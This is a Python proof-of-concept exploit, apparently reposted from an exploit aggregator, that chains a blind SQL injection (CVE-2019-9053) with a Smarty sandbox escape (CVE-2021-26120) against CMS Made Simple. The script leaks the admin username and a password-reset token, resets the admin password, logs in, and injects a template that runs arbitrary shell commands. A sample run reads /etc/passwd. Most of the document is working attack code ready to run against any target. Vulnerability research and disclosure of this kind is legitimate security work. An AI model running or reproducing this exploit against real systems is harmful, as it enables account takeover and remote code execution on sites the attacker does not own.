Share
## https://sploitus.com/exploit?id=SRC-2021-0010
#!/usr/bin/env python3
"""
CMS Made Simple Serverside Template Injection Remote Code Execution Vulnerability
This is a demonstration of CVE-2021-26120 (Smarty Template Engine Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection)
Written by: Steven Seeley of Qihoo 360 Vulcan Team
Exploit tested against: CMS Made Simple 2.2.9 "Blow Me Down"
Download: http://s3.amazonaws.com/cmsms/downloads/14316/cmsms-2.2.9.1-install.zip

Bug 1: CVE-2019-9053
    - An unauthenticated user can trigger an sql injection and reset the administrators password to bypass authentication
    - Works on: <= 2.2.9.1 "Blow Me Down"
    
Bug 2: CVE-2021-26120
    - A user that is authenticated with designer permissions can trigger a serverside template injection and gain remote code execution 
      by escaping the sandbox of the Smarty Template Engine by leveraging the function 'name' property
    - Works on: <= 2.2.15 "Bonaventure" (latest) and impacts Smarty <= 3.1.38 (latest)

# Notes

- *WARNING* The administrator's password will be reset to the administrator's username. Use at your own risk.
- This poc resets the password for user_id 1 which is probably the administrator
- Whilst leaking hashes is not as bold as reseting the administrator's password, it's not guaranteed to get you in

# Example

researcher@incite:~/cmsms$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a"

researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd"
(+) targeting http://192.168.75.141/cmsms/
(+) sql injection working!
(+) leaking the username...
(+) username: admin
(+) resetting the admin's password stage 1
(+) leaking the pwreset token...
(+) pwreset: 35f56698a2c3371eff7f38f34f001503
(+) done, resetting the admin's password stage 2
(+) logging in...
(+) leaking simplex template...
(+) injecting payload and executing cmd...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/cmsms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

# References

- Daniele Scanu @ Certimeter Group's poc at https://www.exploit-db.com/exploits/46635
"""

import requests
import sys
import re
from time import sleep
from lxml import etree

def login(s, t, usr):
    uri = "%sadmin/login.php" % t
    s.get(uri)
    d = {
        "username" : usr,
        "password" : usr,
        "loginsubmit" : "Submit"
    }
    r = s.post(uri, data=d)
    match = re.search("style.php\?__c=(.*)\"", r.text)
    assert match, "(-) login failed"
    return match.group(1)

def trigger_or_patch_ssti(s, csrf, t, tpl):
    # CVE-2021-26120 
    d = {
        "mact": 'DesignManager,m1_,admin_edit_template,0',
        "__c" : csrf,
        "m1_tpl" : 10,
        "m1_submit" : "Submit",
        "m1_name" : "Simplex",
        "m1_contents" : tpl
    }
    r = s.post("%sadmin/moduleinterface.php" % t, files={}, data=d)
    if "rce()" in tpl:
        r = s.get("%sindex.php" % t)
        assert ("endrce" in r.text), "(-) rce failed!"
        cmdr = r.text.split("endrce")[0]
        print(cmdr.strip())

def determine_bool(t, exp):
    p = {
       "mact" : "News,m1_,default,0",
       "m1_idlist": ",1)) and %s-- " % exp
    }
    r = requests.get("%smoduleinterface.php" % t, params=p) 
    return True if r.text.count("Posted by:") == 2 else False

def trigger_sqli(t, char, sql, c_range):
    # CVE-2019-9053
    for i in c_range:
        # <> characters are html escaped so we just have =
        # substr w/ from/for because anymore commas and the string is broken up resulting in an invalid query
        if determine_bool(t, ",1)) and ascii(substr((%s) from %d for 1))=%d-- " % (sql, char, i)): return chr(i) 
    return -1
    
def leak_string(t, sql, leak_name, max_length, c_range):
    sys.stdout.write("(+) %s: " % leak_name)
    sys.stdout.flush()
    leak_string = ""
    for i in range(1,max_length+1):
        c = trigger_sqli(t, i, sql, c_range)
        # username is probably < 25 characters
        if c == -1:
            break
        leak_string += c
        sys.stdout.write(c)
        sys.stdout.flush()
    assert len(leak_string) > 0, "(-) sql injection failed for %s!" % leak_name
    return leak_string    
    
def reset_pwd_stage1(t, usr):
    d = {
        "forgottenusername" : usr,
        "forgotpwform" : 1,
    }
    r = requests.post("%sadmin/login.php" % t, data=d)
    assert ("User Not Found" not in r.text), "(-) password reset failed!"

def reset_pwd_stage2(t, usr, key):
    d = {
        "username" : usr,
        "password" : usr,      # just reset to the username
        "passwordagain" : usr, # just reset to the username
        "changepwhash" : key,
        "forgotpwchangeform": 1,
        "loginsubmit" : "Submit",
    }
    r = requests.post("%sadmin/login.php" % t, data=d)
    match = re.search("Welcome:(.*)<\/a>", r.text)
    assert match, "(-) password reset failed!"
    assert match.group(1) == usr, "(-) password reset failed!"

def leak_simplex(s, t, csrf):
    p = {
        "mact" : "DesignManager,m1_,admin_edit_template,0",
        "__c" : csrf,
        "m1_tpl" : 10
    }
    r = s.get("%sadmin/moduleinterface.php" % t, params=p)
    page = etree.HTML(r.text)
    tpl = page.xpath("//textarea//text()")
    assert tpl is not None, "(-) leaking template failed!"
    return "".join(tpl)

def remove_locks(s, t, csrf):
    p = {
        "mact" : "DesignManager,m1_,admin_clearlocks,0",
        "__c" : csrf,
        "m1_type" : "template"
    }
    s.get("%sadmin/moduleinterface.php" % t, params=p)

def main():
    if(len(sys.argv) < 4):
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 / id" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 /cmsms/ \"uname -a\"" % sys.argv[0])
        return
    pth = sys.argv[2]
    cmd = sys.argv[3]
    pth = pth + "/" if not pth.endswith("/") else pth
    pth = "/" + pth if not pth.startswith("/") else pth
    target = "http://%s%s" % (sys.argv[1], pth)
    print("(+) targeting %s" % target)
    if determine_bool(target, "1=1") and not determine_bool(target, "1=2"):
        print("(+) sql injection working!")
    print("(+) leaking the username...")
    username = leak_string(
        target,
        "select username from cms_users where user_id=1",
        "username",
        25, # username column is varchar(25) in the db
        list(range(48,58)) + list(range(65,91)) + list(range(97,123)) # charset: 0-9A-Za-z
    )
    print("\n(+) resetting the %s's password stage 1" % username)
    reset_pwd_stage1(target, username)
    print("(+) leaking the pwreset token...")
    pwreset = leak_string(
        target,
        "select value from cms_userprefs where preference=0x70777265736574 and user_id=1", # qoutes will break things
        "pwreset",
        32, # md5 hash is always 32
        list(range(48,58)) + list(range(97,103)) # charset: 0-9a-f
    )
    print("\n(+) done, resetting the %s's password stage 2" % username)
    reset_pwd_stage2(target, username, pwreset)
    session = requests.Session()
    print("(+) logging in...")
    csrf = login(session, target, username)
    print("(+) leaking simplex template...")
    remove_locks(session, target, csrf)
    simplex_tpl = leak_simplex(session, target, csrf)
    print("(+) injecting payload and executing cmd...\n")
    rce_tpl = "{function name='rce(){};system(\"%s\");function '}{/function}endrce" % cmd
    trigger_or_patch_ssti(session, csrf, target, rce_tpl+simplex_tpl)
    while True:
        r = session.get("%sindex.php" % target)
        if "endrce" not in r.text:
            break
        trigger_or_patch_ssti(session, csrf, target, simplex_tpl)

if __name__ == '__main__':
    main()